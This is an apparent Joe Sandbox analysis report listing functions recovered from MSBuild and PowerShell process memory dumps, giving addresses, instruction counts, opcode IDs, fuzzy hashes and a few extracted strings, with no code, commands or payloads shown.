Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e821130cae24bf7169523057f6480a96250c23144871d8a62960c081e9cd08b3
Instruction ID: 75a4317d0317cb2e0adeae08d203dfaae442061d6628f785ae7fbf508e79c43e
Opcode Fuzzy Hash: e821130cae24bf7169523057f6480a96250c23144871d8a62960c081e9cd08b3
Instruction Fuzzy Hash: C1212C70E0020ADFDB44EBB8D944AAE7BBAFF89300F109569D505A7241DF786E41CF91

Function 01982F97 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a945340809d7a7466884a2568e9348b9c0c62f19eb8d264d9b4ebf03b135a46
Instruction ID: 6551b434d47e8b6759624b4ddb85af8dcb9973d876e48c4218bb8a5bec4e4a77
Opcode Fuzzy Hash: 0a945340809d7a7466884a2568e9348b9c0c62f19eb8d264d9b4ebf03b135a46
Instruction Fuzzy Hash: 07213071F002159FDB54EF78C804B6EB7F5AF4C714F148469E919EB390EA75A9058B80

Function 01981661 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d70fd141aa566cc0037b0981066b935fab552029de4a25471100e540a4babb5f
Instruction ID: 6a5bf2c69a20b882d6ba54c5b58d4282b71f98d4b2a312d04224f62ca935f2f6
Opcode Fuzzy Hash: d70fd141aa566cc0037b0981066b935fab552029de4a25471100e540a4babb5f
Instruction Fuzzy Hash: 46216D34A002528FDB15EB74E8005AE7BF6FF89704B10596DC846DB251EB79AD02CFD6

Function 019899F8 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d5b77a0f940e583bcf961c10d0baab4f51bbc591de385b469679b27e74d360e
Instruction ID: b8151876d501233b4cc1f074d97db9fe0188588901b6dbfdbe3991c913770c84
Opcode Fuzzy Hash: 9d5b77a0f940e583bcf961c10d0baab4f51bbc591de385b469679b27e74d360e
Instruction Fuzzy Hash: AA119130B002059BDF28AABDD80477FBAAABFC4754F04852DE91ADB341EA708D0087D1

Function 0198099B Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3841298ba3d701aefd90f8ee856e50755f990a9bc1eebf4b6466e615c73bb2b8
Instruction ID: c87d58d0720fdad333796fc93b50df1f80014f244a1eae29a4d2887e2da96935
Opcode Fuzzy Hash: 3841298ba3d701aefd90f8ee856e50755f990a9bc1eebf4b6466e615c73bb2b8
Instruction Fuzzy Hash: FB118231B006458BDB69BB79D81852E7AF2BFC52103108A3ED15BCB284EF759D048F81

Function 01986A4F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3949876418353a547a1d5e141370b43b8f8f8273380daf8ad1070456a874fee7
Instruction ID: 0b6efd66501b23ead8baf1612d2b95e69f70eae951991c3300edb9bc4f17f2d4
Opcode Fuzzy Hash: 3949876418353a547a1d5e141370b43b8f8f8273380daf8ad1070456a874fee7
Instruction Fuzzy Hash: 5301FE32F002148FDB10FA79DC04ADD77B9EBC4711F048175DA09DB294EB3299558B91

Function 01983061 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e144b23f254a39afff8604248c20ac494971198c6e7a7161d0cfa8777c5e28e
Instruction ID: 4827253d2a9310ff17a3de5ca4b450b4f509833a8393d0a20270008badfbf17a
Opcode Fuzzy Hash: 6e144b23f254a39afff8604248c20ac494971198c6e7a7161d0cfa8777c5e28e
Instruction Fuzzy Hash: F4019E323052008FC729AB38D8A066E77E7AFDA255749543DD10ACBB41DF75EC06C741

Function 0198B3A8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cff47218fe074523338e6e50c456f618bd6c23f7c613cb71e831f5d9016e14e1
Instruction ID: ff5e745d70b06b0d116aedbe346ed9942dad1635c19c918efc2afb840383ed02
Opcode Fuzzy Hash: cff47218fe074523338e6e50c456f618bd6c23f7c613cb71e831f5d9016e14e1
Instruction Fuzzy Hash: 6B01D632B0011A6B9B15AE599C00ABF3F9BDBC9751F18802AFA0AD7340CE71CD1187A4

Function 01981A68 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 544ef2ce102e3c49e56603579411c5b94df31f7295232720035c1d5834d073bd
Instruction ID: 5fe3975bb783e415a50d799cee31573a2dccad6b54256bca8f983cac6b0de583
Opcode Fuzzy Hash: 544ef2ce102e3c49e56603579411c5b94df31f7295232720035c1d5834d073bd
Instruction Fuzzy Hash: A201847490124ACFD714FBB9D59497FBBB9FF84300F504A2DD446A7248EE346A048FA2

Function 01981C41 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3be6b01a9af891c3f318e3be6298ff2a8633443ff61ff49f04bc419bce438d80
Instruction ID: 9318e47087f219c2148ec190f1308d2a12b0cf0fc663a12d422e490119338854
Opcode Fuzzy Hash: 3be6b01a9af891c3f318e3be6298ff2a8633443ff61ff49f04bc419bce438d80
Instruction Fuzzy Hash: C3014434B00110CFC718EF29D408838B7B9FF88B11B2585ADE90A8B3A1DB36AC02DF40

Function 01981B10 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1d0d7a25789b5b82b70fcb9f1e8fe172d5bcb24fd543e9bf4982184a18d98ec
Instruction ID: 244610db5fc1a0eed6be1a6580b51e9d71a7633ecdbbaef4129da3f00ded51eb
Opcode Fuzzy Hash: b1d0d7a25789b5b82b70fcb9f1e8fe172d5bcb24fd543e9bf4982184a18d98ec
Instruction Fuzzy Hash: 86011DB0A01245DFD748DF7AE58066BBBEBEBDC304F14D56E8808D7215EE746A058F44

Function 01981A59 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27ca95541d80ee4481374a1ae60eac2c9dd8d44c8b3e33db34f4a0e02cb47e7b
Instruction ID: 8a13f808a994678a5d7dd427581afb074c527cb8710f9ed88de5212b87a48ee0
Opcode Fuzzy Hash: 27ca95541d80ee4481374a1ae60eac2c9dd8d44c8b3e33db34f4a0e02cb47e7b
Instruction Fuzzy Hash: 32F0623490124ACFD710FBA8D59497EBBB8EF84304F40892ED59667288EE345A48CBD1

Function 01981757 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1c8de14ffdf61d0f0a92e3c0dd07cedc805f8d59261eb8c7754ebe15e3bd930
Instruction ID: 6a46b2961ce08076fff57efef33d4774dcfaa6a47401f14cf9d781478e4f86be
Opcode Fuzzy Hash: d1c8de14ffdf61d0f0a92e3c0dd07cedc805f8d59261eb8c7754ebe15e3bd930
Instruction Fuzzy Hash: 6BF09A36B00425AFCB00AAA8D8084EE77B1FF88301B110569E502EB354EB35AC158BD1

Function 01981760 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7abd657ef6f20f8ae548f23025874f21a06998e5371ffdcb7422788d53757c0a
Instruction ID: 7bbb25a1c4c32da5861e1d7a917646c89d67f5193bb1b811e6538c6ed0c24fde
Opcode Fuzzy Hash: 7abd657ef6f20f8ae548f23025874f21a06998e5371ffdcb7422788d53757c0a
Instruction Fuzzy Hash: 1DF08C36B00128ABCB00AAA9DC088DE7BA5EF89711F000479D502EB360EE259D058BE1

Function 019867B4 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 182247f6c95628ab3588368bee57a40f4fdec92e57f78d8fb738890143dc789b
Instruction ID: 2c1cc44f74b4069eb6804c6885bae9b00ab2add9f09b757c99c09de7af75e70c
Opcode Fuzzy Hash: 182247f6c95628ab3588368bee57a40f4fdec92e57f78d8fb738890143dc789b
Instruction Fuzzy Hash: C6E02BA7F080A09FC7119768AC1146A3FA4D9D625134440CED509CF214E515DD03C3D1

Function 01981C7E Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 777e245bb251054a0fdb1f7b7e8f7f9480f7692428c7abfa588d5b37f486b310
Instruction ID: 9dc77c212c50c5d8167679d0e28a3d57c3db6855e67e716c0499a003624451f0
Opcode Fuzzy Hash: 777e245bb251054a0fdb1f7b7e8f7f9480f7692428c7abfa588d5b37f486b310
Instruction Fuzzy Hash: 03F05E71B00111CFCB14AF64D504868B775EF88711B2446BDD91A9B3A4EB76AD52CF80

Function 01981BA0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1a46150981ca666da099a0f5064257d93601e1e3efc8631b794ffd95d7ad760
Instruction ID: feda9d4e9994e6c7d394c7edfbdbf783b36a5730edc8ca36ab3a7b67205a773c
Opcode Fuzzy Hash: d1a46150981ca666da099a0f5064257d93601e1e3efc8631b794ffd95d7ad760
Instruction Fuzzy Hash: FDF0A9347001059FD754AB38D848D2A3BEAEF8A724F1140A8E906CB3A9DFB4EC00CB90

Function 0198BF97 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47959e9fffcc897d154686e9cd134e7b60f3ab57aaecf632235c5bd526e29820
Instruction ID: 27bf8d7335eb65fd52e872057b14c4fac242971ecf9360a781583331d714df73
Opcode Fuzzy Hash: 47959e9fffcc897d154686e9cd134e7b60f3ab57aaecf632235c5bd526e29820
Instruction Fuzzy Hash: D2E0C23110834A5FC706A735BC588E63F6EE692304B00A1ADB10887212DEAC5E0883A2

Function 01987DE8 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e7fcf5195aa350e774ea0a59b568af25263b502ba722664cf4410a827837681
Instruction ID: b16d63e8c0ee3d8957af19bc05762807a1cbdd69f1992b551f782c9391415de5
Opcode Fuzzy Hash: 9e7fcf5195aa350e774ea0a59b568af25263b502ba722664cf4410a827837681
Instruction Fuzzy Hash: CED0C9B0C0420C9F8B80EFF8940566EBBF8BA04205F1049AAD81DE3241F7345A10CF92

Function 0198BFA8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a2fe35c82c087cdc5a8e758d18ec142ea03e2e60c2e3b135f1b03f3ff3de9f7
Instruction ID: 7ea1e9f50a792f7693c91750f8eca20be19779ede0c7b49099d573cff3a230b0
Opcode Fuzzy Hash: 7a2fe35c82c087cdc5a8e758d18ec142ea03e2e60c2e3b135f1b03f3ff3de9f7
Instruction Fuzzy Hash: C7C0C93015020B86D609A765E8485653AAFF7D0304B40A61CA60956615DEA86D044691

Function 01981CCB Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64f98afff13baa9c74489f6f96f57a1b10eddc34cfcc304d235531cbd93c2aed
Instruction ID: 9937a37b6e2933de6b3b901006ce320097d3b43b6a6050b606b65f4b883abcab
Opcode Fuzzy Hash: 64f98afff13baa9c74489f6f96f57a1b10eddc34cfcc304d235531cbd93c2aed
Instruction Fuzzy Hash: 39C01231940005C7CB14B774F9094DC7B30DE80361720477EA12B850D4FF724A368F40

Function 019858C7 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db48d9942f00121e895a60278e28b6ea45c7bb954c9f8290f462cc74bcd51ae6
Instruction ID: c79d0d7a4f1611d76cae5317a8bd454588c4882afe28c05de2ca51cbac3bd2d9
Opcode Fuzzy Hash: db48d9942f00121e895a60278e28b6ea45c7bb954c9f8290f462cc74bcd51ae6
Instruction Fuzzy Hash: 9EC04C61A0D2C4DBCF0A6AB818289793E616F81311B348CAD9486C738ADC254911D766

Function 01981A40 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4592510732.0000000001980000.00000040.00000800.00020000.00000000.sdmp, Offset: 01980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1980000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9a5a86a7362a7d5c1433980367412de1fd733abcf72cafc33b545cdc7e8dbbf
Instruction ID: 67faa12f6bef400e9541b5fb8685f7409b396044e96217eff952683ca74df3ef
Opcode Fuzzy Hash: c9a5a86a7362a7d5c1433980367412de1fd733abcf72cafc33b545cdc7e8dbbf
Instruction Fuzzy Hash: 21B09231841288CFEF226770983C6847B32AF89308B24568F805196195DA221A84CB81

Analysis Process: powershell.exePID: 4876, Parent PID: 6524COMMON

Execution Graph

Execution Coverage:	6.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 02DEB470 Relevance: .3, Instructions: 263
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 399489994bef04f30fe5d4e65646c31fbc32854eb33e77d71db5e78d5ffbc75a
Instruction ID: 6e8321e07b83795b29adfa38ac24b7b11551fafd86df5237c8a1aaf9e8e15ee1
Opcode Fuzzy Hash: 399489994bef04f30fe5d4e65646c31fbc32854eb33e77d71db5e78d5ffbc75a
Instruction Fuzzy Hash: 03916C71F016969BDB19EFB488515AFBBB2EFC4700B408A1DD106AB340EF746E058BD6

Function 02DEB490 Relevance: .3, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acc0cda3be720c83ab48b80094e000fbcfeb9f5dfb597a04378dc9e2aab6c5eb
Instruction ID: 4028147f733f454746619e8114184b805e1cf1860af82aa03d2cf462a1fb7aa4
Opcode Fuzzy Hash: acc0cda3be720c83ab48b80094e000fbcfeb9f5dfb597a04378dc9e2aab6c5eb
Instruction Fuzzy Hash: FA916B71F016569BDB19EFB488516AFBBA3EFC4700B408A1DD106AB340EF746E058BD5

Function 074A2308 Relevance: 12.1, Strings: 9, Instructions: 883COMMON

Download Yara Rule

Strings

|,Pk, xrefs: 074A25DB
piNk, xrefs: 074A2363
piNk, xrefs: 074A23B0
|l, xrefs: 074A2D9D
piNk, xrefs: 074A23A0
piNk, xrefs: 074A2416
#vk, xrefs: 074A2BA7
|l, xrefs: 074A2D8F
piNk, xrefs: 074A2582

Memory Dump Source

Source File: 00000008.00000002.2256969640.00000000074A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_74a0000_powershell.jbxd

Similarity

API ID:
String ID: piNk$piNk$piNk$piNk$piNk$|,Pk$#vk$|l$|l
API String ID: 0-2985231274
Opcode ID: de496c94ddf3059fc313c4d407e02756a1a3ee4bdabf252aa53a49833f99690c
Instruction ID: a562dd60130732110eda63267aaeeeaf758b13b3ff3e32eea43ee2ec6969a49b
Opcode Fuzzy Hash: de496c94ddf3059fc313c4d407e02756a1a3ee4bdabf252aa53a49833f99690c
Instruction Fuzzy Hash: 3B5224B1B00246EFDB258B7984006EBBBE2BFD6210F14847BE505CB352DBB1D946D7A1

Function 0861727A Relevance: 1.6, APIs: 1, Instructions: 53
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE ref: 086172E2

Memory Dump Source

Source File: 00000008.00000002.2260213394.0000000008610000.00000040.00000800.00020000.00000000.sdmp, Offset: 08610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8610000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: 48f90abeadcbb5b16117abc516c0815574dd0b795cccbaf5c22c4a56d9de46a2
Instruction ID: 01550219e9bd2acd5e3635bc9377c960b59cf7717ebdd77c6391dedd4d5455b6
Opcode Fuzzy Hash: 48f90abeadcbb5b16117abc516c0815574dd0b795cccbaf5c22c4a56d9de46a2
Instruction Fuzzy Hash: 871137B59002498FCB50CFAAC585BDEFBF4EF48320F24845AE519A3351C7B4A944CFA1

Function 08617280 Relevance: 1.5, APIs: 1, Instructions: 48
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE ref: 086172E2

Memory Dump Source

Source File: 00000008.00000002.2260213394.0000000008610000.00000040.00000800.00020000.00000000.sdmp, Offset: 08610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8610000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: 966634505a44359adc160eab209842949ea629da0680b271fad74cdb455a82fb
Instruction ID: a4c9a96c73a8c8dc040b574878bd87db710c17733bd3848957c69142a2220681
Opcode Fuzzy Hash: 966634505a44359adc160eab209842949ea629da0680b271fad74cdb455a82fb
Instruction Fuzzy Hash: A71128B19003098FCB50DF9AC445B9EFBF4AB48320F14841AE518A3310C7B4A944CFA0

Function 02DEE5B9 Relevance: 1.4, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

piNk, xrefs: 02DEE667

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID: piNk
API String ID: 0-3118945652
Opcode ID: df7c4b92a192951f45a1ee29ae84d8d7b9363095833f1c7ec3320aa183d1c745
Instruction ID: 6e6a4c915d4978924b56d6e44e9974777026b4354721f883baf151d8669fc8bd
Opcode Fuzzy Hash: df7c4b92a192951f45a1ee29ae84d8d7b9363095833f1c7ec3320aa183d1c745
Instruction Fuzzy Hash: D3418A30E00205DFCB15EFA8D895A9DBBF2EF89304F1085AED416AB3A1DB746D05CB91

Function 02DEE610 Relevance: 1.4, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

piNk, xrefs: 02DEE667

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID: piNk
API String ID: 0-3118945652
Opcode ID: 21fce9e39d0bf840b8053a73da4b15595bd1ddb69be08f32c373763c3e446574
Instruction ID: 4a9bd51de4b74b91d3a0599d05e6cc9fa576cf63f911ddde4fc7d3226463e609
Opcode Fuzzy Hash: 21fce9e39d0bf840b8053a73da4b15595bd1ddb69be08f32c373763c3e446574
Instruction Fuzzy Hash: D841BC30A00245DFCB15EF68D495A9EBBF2FF89305F04856DD406AB3A1DB74AC05CBA1

Function 02DEE640 Relevance: 1.3, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

piNk, xrefs: 02DEE667

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID: piNk
API String ID: 0-3118945652
Opcode ID: b0459ef5028334326a2d52b34ba3304e787ddc9c93ab96becd7b832c650e0124
Instruction ID: 1fbeaabe973154500da130ba275a6edb8e081b9bd180f5fc36943bd5fc08fa10
Opcode Fuzzy Hash: b0459ef5028334326a2d52b34ba3304e787ddc9c93ab96becd7b832c650e0124
Instruction Fuzzy Hash: 3E315830A00606DFCB14EF69D594B9EBBF2FF88305F148529D416AB391EB34AD05CB90

Function 074A3CE8 Relevance: .6, Instructions: 578
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2256969640.00000000074A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_74a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33ab5033583f70ee9d09fe09a943ababc1687492e8ee81977b3e7d41eabd6838
Instruction ID: 842ac9ccc75410c10975931fbb851123be1248d7ec5d3d3439383c7e1dbe922c
Opcode Fuzzy Hash: 33ab5033583f70ee9d09fe09a943ababc1687492e8ee81977b3e7d41eabd6838
Instruction Fuzzy Hash: 791225B1B04252EFDB258A6C84107AFBBA29FE1610F14887BD505CB792DB71DC46C7A2

Function 02DEE7B8 Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7f7ff2a02afa26eb5653d1f64e8791c35843ccb5a754f8c49413e1ba55e9446
Instruction ID: eecd66b9dc712897046e2197ccba2600a81d37493aecbedf72c318859e209fee
Opcode Fuzzy Hash: d7f7ff2a02afa26eb5653d1f64e8791c35843ccb5a754f8c49413e1ba55e9446
Instruction Fuzzy Hash: C4916B30B10214CFCF24EF79D99466EBBE6AF88624B14856AD902EB355EF70DC41CB90

Function 02DE29F0 Relevance: .2, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cb6c5505aefc8c42a37c6c2c8a9501157cc81b76b84ee092953c1fab7d74f61
Instruction ID: ed1c7439809e67ddf78ad220f30f312314a9c360d0dfc6c75f287a75c8dc3c34
Opcode Fuzzy Hash: 8cb6c5505aefc8c42a37c6c2c8a9501157cc81b76b84ee092953c1fab7d74f61
Instruction Fuzzy Hash: 13919C74A00205CFCB15DF59C498AAEFBB6FF88310B248669D916AB365C735FC41CBA0

Function 02DEBAC0 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2111e0cd659b43bbcf79a0c8a8759adde5a1eb7bc0ffca0771d51264e3f67e39
Instruction ID: 13428711aff4d21c937364337fb1af2e2a87763fb7c0067f6f318bbd111d560c
Opcode Fuzzy Hash: 2111e0cd659b43bbcf79a0c8a8759adde5a1eb7bc0ffca0771d51264e3f67e39
Instruction Fuzzy Hash: 77610775E002489FCB14DFA9C584A9DBBF2FF88314F14812AE419AB355EB74AC41CB60

Function 02DE7740 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bd1ba0b1df4615a57ea4a27bd49b1cc372a9940ded3557d4d4cb103a50f7a61
Instruction ID: b72ab1ae8caecd14c9f2cef668ea27a63187a2a1cf96c4fec3f844a20ff5eca9
Opcode Fuzzy Hash: 0bd1ba0b1df4615a57ea4a27bd49b1cc372a9940ded3557d4d4cb103a50f7a61
Instruction Fuzzy Hash: F051B1357042059FEB54EBA9D884B3AB7E6FFC9214F14846AE506CB352DB31DC01CBA0

Function 02DEBAB0 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

